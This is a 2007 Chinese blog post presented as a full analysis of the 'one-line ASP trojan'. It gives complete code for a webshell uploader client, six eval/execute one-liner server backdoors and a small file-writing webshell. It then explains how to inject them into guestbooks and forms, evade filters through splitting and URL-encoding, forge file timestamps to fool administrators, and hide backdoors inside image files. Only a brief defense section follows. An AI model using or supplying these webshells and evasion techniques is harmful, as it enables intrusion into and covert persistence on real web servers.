• 2007年05月12日

    全面详尽剖析一句话asp木马 - [安全资讯]

    全面详尽剖析一句话asp木马

    所谓一句话插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。它分为一句话asp马、一句话php马……,本文就一句话asp木马来做一次详尽的剖析。在此首先要感谢前辈们的探究!

    一:基础篇

    首先我们看一下最常用的一句话木马客户端的代码

    <html>

    <head>

    <title>一句话客户端</title>

    <style type="text/css">

    <!--

    body {

    background-color: #FFFFFF;

    }

    .lygf {

    border: 1px solid #660069;

    font-size: 12px;

    }

    -->

    </style>

    </head>

    <body>

    <table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0">

    <tr>

    <td height="1" width="794">

    <form name="lygf" method="post">

    <input name="add" type="text" id="add" size="97" value="http://">

    <input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">

    <input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">

    </td>

    </tr>

    <tr>

    <td height="100" width="794">

    <textarea name="*" cols="100" rows="9" width="45">

    set lP=server.createObject("Adodb.Stream")

    lP.Open

    lP.Type=2

    lP.CharSet="gb2312"

    lP.writetext request("lygf")

    lP.SaveToFile server.mappath("fk.asp"),2

    lP.Close

    set lP=nothing

    response.redirect "fk.asp"</textarea>

    </td>

    </tr>

    <tr>

    <td height="1" width="794">

    <textarea name="lygf" cols="100" rows="15" width="45">

    写入你的大马</textarea>

    </td>

    </tr>

    <tr>

    <td width="794" height="7">

    <font color="#000000">提供六个服务端:</font>

    <br>

    1. <%eval request("fk")%>

    <br>

    2. <%execute request("fk")%>

    <br>

    3. <%execute(request("fk"))%>

    <br>

    4. <%On Error Resume Next%><%eval request("fk")%>

    <br>

    5. <script language=VBScript runat=server>execute request("fk")</Script>

    <br>

    6. <script language=VBScript runat=server>eval request("fk")</Script>

    <br>

    <br>By 冷月孤枫   枫客:http://fk.3355.cn/    ... t;/font><br>

    </td>

    </tr>

    </table>

    </body>

    </html>

    把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到

    下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):

    <title>一句话客户端</title>          显示在浏览器标题栏上面的文字,你可以自己更改

    <style type="text/css">

    <!--

    body {

    background-color: #FFFFFF;   背景颜色

    }

    .lygf {

    border: 1px solid #660099;   边框属性

    font-size: 12px;             字体大小

    }

    -->                                  本页面所要用到的样式

    <form name="lygf" method=post>       创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS是不记入日志的

    <input name="add" type="text" id="add" size="97" value="http://">创建一个用于提交的输入框(text)用于写地址(add),长度是97个字节,value=是默认的内容

    <input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit),后面的部分是把上面value的值赋给form去post

    <input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域,把fk与下面name的值*关联,用session保存代码然后执行,这句借用了海洋的客户端,不过那样不怎么好用

    <textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。在HTML语言中,textarea、input都是属于“文本域”的

    set lP=server.createObject("Adodb.Stream") CreateObject创建并返回对 Automation 对象的引用,应用于Server 对象;Adodb.Stream是ADO的Stream对象,提供存取二进制数据或者文本流,从而实现对流的读、写和管理等操作;对象创建后,就可以在代码中使用定义的对象变量(IP)引用此对象

    lP.Open 打开这个变量

    lP.Type=2 Type 指定或返回的数据类型,这里是以文本方式

    lP.CharSet="gb2312" gb2312是指简体中文

    lP.writetext request("lygf") Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值,这里是lygf,要和下面文本框中的name=lygf相对应,writetext允许对现有的 text、ntext 或 image 列执行最小日志记录的交互式更新。WRITETEXT 将覆盖受其影响的列中的所有现有数据,在这里的作用就是取得下面的文本框里的木马的内容

    lP.SaveToFile server.mappath("fk.asp"),2 这句很好懂,就是以覆盖文件的方式向服务器的同文件目录下写入fk.asp

    lP.Close 关闭对象变量

    set lP=nothing 释放Adodb.Stream对象

    response.redirect "fk.asp" 在这里起到转向作用,转到我们刚刚写入的fk.asp

    <textarea name=lygf cols=120 rows=10 width=45>添入生成木马的内容</textarea>又创建一个文本框用于写马的内容,这里的name要和上面的一样

    给大家提供一个小马:

    <%dim objfso%>

    <%dim fdata%>

    <%dim objcountfile%>

    <%on error resume next%>

    <%set objfso = server.createobject("S"+"cr"+"ipt"+"ing"+".f"+"il"+"es"+"ys"+"tem"+"ob"+"jec"+"t")%>

    <%if trim(request("syfdpath"))<>"" then%>

    <%fdata = request("cyfddata")%>

    <%set objcountfile=objfso.createtextfile(request("syfdpath"),true)%>

    <%objcountfile.write fdata%>

    <%if err =0 then%>

    <%response.write "<font color=red>save success!</font>"%>

    <%else%>

    <%response.write "<font color=red>save unsuccess!</font>"%>

    <%end if%>

    <%err.clear%>

    <%end if%>

    <%objcountfile.close%>

    <%set objcountfile=nothing%>

    <%set objfso = nothing%>

    <%response.write "<form action='''' method=post>"%>

    <%response.write "<input type=text name=syfdpath width=32 size=50>"%>

    <%response.write "<br>"%>

    <%=server.mappath(request.servervariables("script_name"))%>

    <%response.write "<br>"%>

    <%response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>

    <%response.write "<input type=submit value=go>"%>

    <%response.write "</form>"%>

    后面的一些代码都是一些使用说明,提供六个服务端

    1. <%eval request("fk")%>

    2. <%execute request("fk")%>

    3. <%execute(request("fk"))%>

    4. <%On Error Resume Next%><%eval request("fk")%>

    5. <script language=VBScript runat=server>execute request("fk")</Script>

    6. <script language=VBScript runat=server>eval request("fk")</Script>

    大家试着用

    解释以下:

    在VBScript 中,x = y可以有两种解释。第一种方式是赋值语句,将y的值赋予x。第二种解释是测试x 和y是否相等。如果相等,result为True;否则result为False。Eval方法总是采用第二种解释,而Execute语句总是采用第一种。

    Execute 执行一个或多个指定的语句,我们用来执行asp代码,它可以执行赋值操作,不过当POST的参数x为空时execute函数会出错,所以要加一句容错语句

    Eval 计算一个表达式的值并返回结果,它的参数可以是包含任何有效VBScript表达式的字符串,也就可以执行asp代码,但它不能执行赋值操作,不过当参数为空不会出错

    Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值这里是fk

    好,现在大家都知道了各个函数的意思,那我就把一句话木马的工作原理给大家讲一下:通过服务端的request('fk')的作用是读取客户端文件中第一个文本框中的内容(name值被命名为lygf的部分),然后通过Execute函数或eval函数执行其内容,之后的过程我都在上面说明了,写入大马,就得到了我们想要的webshell

    二:应用篇

    下面我们就来谈谈一句话asp木马的应用,大家应该都回用吧!哈哈

    1.入侵:把一句话插入任何以asp结尾的文件中就能实现入侵。网上很多程序中或者是留言本或者是评论或者是申请表单等等吧,凡是想服务器提交数据的页面只要存在着数据过滤不严,可以插入一句话,大多都能入侵。但我们首先需要做的是,要确认它的数据库必须是以asp结尾的,并且要知道它的数据库路径。如果失败了,大家要自己找一下原因:可能是一句话被包围在一个函数内了(结束它),可能是被过滤<% %>,那大家就可以选择第四个服务端,还有我们可以吧一句话拆分,URLENCODE转换,代码加密等等,大家自由发挥吧!改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈

    2.后门:用它做后门简直太爽了,平时我们用的木马用专业的asp木马查找工具都是可以轻而易举的查出来的,用它做后门就不容易查处来了,因为它可以变形啊,拆分,URLENCODE转换,代码加密等等。可以把它放在asp网页的页首、页尾,不过可能导致页面不正常,容易被发现;可以放在asp页面的空函数内,实验了可以用,页面也正常;可以放在任何文件里面(图片、文本、压缩文件等),建议用图片,因为数量多,不易被发现,把它插入到图片后在一个asp页面中写入<!--#include file="***/****.***" -->后面省略的是你插入的文件的地址,也可以用copy命令使图片与asp文件合二为一copy 1.gif /b + asp.asp /a asp.gif参数/b 是指定以二进制格式复制、合并文件。参数/a 是指定以ascll格式复制、合并文件。还有很多期待发现的方法,只要能想就能做,心有多大世界就有多大,哈哈(比如一台主机我们可以给它架设IIS或微型IIS,后用一句话留后门,一句化在加上系统、只读、隐藏的属性,把文件夹放深一点,就差不多了)。改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈

    三:防范篇

    1.是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址,把数据库放深一点,名字起的奇怪一点。

    2.防止暴库,在数据库连接文件中加入容错代码、设置好IIS转向错误页面等

    3.防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等,比较好的方法就是过滤<>,现在TX就过滤这个东西,导致我们不能DIY了

    另外要注意的是:因为一句话木马调用了Adodb.Stream组件所以如果服务器端禁止Adodb.Stream组件是不会写入成功的!还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的,不过这种情况很少见,一般都会有写的权限的!

    但愿本文对你有所帮助,大家也可以到我的博客与我讨论,祝愿大家都能DIY出自己的一句话!


    收藏到:Del.icio.us





发表评论

您将收到博主的回复邮件
记住我